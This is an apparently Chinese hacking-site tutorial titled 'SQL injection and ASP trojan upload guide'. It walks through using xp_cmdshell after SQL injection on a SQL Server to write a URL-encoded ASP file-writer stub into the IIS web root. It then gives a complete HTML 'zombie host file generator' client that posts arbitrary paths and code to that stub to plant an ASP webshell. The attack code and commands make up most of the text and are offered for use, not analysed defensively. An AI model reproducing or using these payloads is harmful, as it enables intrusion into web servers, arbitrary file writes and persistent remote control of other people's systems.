SQL注入与ASP木马上传指南_SQL SERVER数据库_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

SQL注入与ASP木马上传指南

作者:黑客防线网安棋子儿 来源:黑客防线网安网站维护基地 浏览次数:0

本篇关键词:SQL注入漏洞ASp
黑客防线网安网讯:SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。文件内容:
SQL注入后如何上传木马一直是比较头疼的事,我这里提供上传木马的一种另一种方法SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件文件内容:
<%
Set objFSO = Server.CreateObject
("scripting.FileSystemObject")

Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True)

objCountFile.Write request("mydata")
objCountFile.Close
%>
这个文件可以写成一行
<%Set objFSO = Server.CreateObject
("scripting.FileSystemObject"):
Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True):objCountFile.Write request("mydata"):
objCountFile.Close%>

将特殊字符进行编码 就可以得到
%3C%25Set%20objFSO%20=%20Server.CreateObject
(%22scripting.FileSystemObject%22):
Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):
objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E

注入(这里假定web目录是C:\Inetpub\wwwroot\):
exec master..xp_cmdshell 'echo
"%3C%25Set%20objFSO%20=%20Server.CreateObject
(%22scripting.FileSystemObject%22):
Set%20objCountFile=objFSO.CreateTextFile
(request(%22mypath%22),True):
objCountFile.Write%20request(%22mydata%22):
objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp';

这样 在服务器的web 目录下 将生成一个 ftp.asp文件
该文件的代码为
<%
Set objFSO = Server.CreateObject
("scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True)
objCountFile.Write request
("mydata")
objCountFile.Close
%>
你可以看到,上面代码中预留了两个接口 mypath 和 mydata

mypath是下次提交的时候 文件的生成路径
mydata是文件的内容

在本地编写一个客户端文件 例:RohuClient.htm 代码如下

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>肉鸡文件生成器--客户端 制作:绝对零度 QQ:12216796</title>
<style type="text/css">
<!--
TD {
FONT-SIZE: 9pt; LINE-HEIGHT: 150%
}
BODY {
FONT-SIZE: 12px;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋体;
SCROLLBAR-FACE-COLOR: #eeeeee;
SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
SCROLLBAR-SHADOW-COLOR: #dee3e7;
SCROLLBAR-3DLIGHT-COLOR: #d1d7dc;
SCROLLBAR-ARROW-COLOR: #006699;
SCROLLBAR-TRACK-COLOR: #ededed;
SCROLLBAR-DARKSHADOW-COLOR: #98aab1
}

A:link {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:hover {
COLOR: #cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline
}
input,select,TEXTAREA {
font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋体";
background-color: #f9f9f9;
font-size: 9pt ;
border: 1px #d2d2d2 dobble;
line-height:120%;
}

-->
</style>
</head>
<script language="javascript" type="text/javascript">
function chk(theform)
{
if(theform.ftpUrl.value=='')
{
alert('请输入递交的地址!');
theform.ftpUrl.focus();
return false;
}
if(theform.MyPath.value=='')
{
alert('请输入生成文件的位置!');
theform.MyPath.focus();
return false;
}
if(theform.MyData.value=='')
{
alert('请输入生成文件的内容!');
theform.MyData.focus();
return false;
}
theform.action=theform.ftpUrl.value;
}
</script>
<body>
<form name="RohuForm" method="post"
action="" onSubmit="return chk(this)" target="_blank">

<table width="673" border="0" align="center"
cellpadding="0" cellspacing="0">
<tr>
<td width="11%">目标位置:</td>
<td width="79%"><input name="ftpUrl"
type="text" id="ftpUrl" size="50">
例:http://127.0.0.1/FTP.ASP<;/td>
</tr>
<tr>
<td>生成文件:</td>
<td><input name="MyPath" type="text" id="MyPath">
将在服务器上,生成的文件路径。例:
C:\Inetpub\wwwroot\Server.asp </td>
</tr>
<tr>
<td valign="top">文件代码:</td>
<td><textarea name="MyData" cols="100"
rows="10" id="textarea"></textarea></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="Submit" value="提交"></td>
</tr>
</table>
<br>
</form>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center">版权所有:
XXXX(<a href=http://www.rongsen.com.cn;>xx盟</a>)</td>
</tr>
</table>
</body>
</html>

在目标位置栏填上刚刚生成的ftp.asp文件的url地址
如 http://127.0.0.1/ftp.asp (这里假设服务器的ip是 127.0.0.1)
在生成文件栏 输入将在服务器上生成的文件名 比如:C:\Inetpub\wwwroot\Server.asp
在文件内容里 ,随意的粘贴一个asp代码
点递交,当http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。
    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show-7436-1.html
网站维护教程更新时间:2012-02-12 12:44:08  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer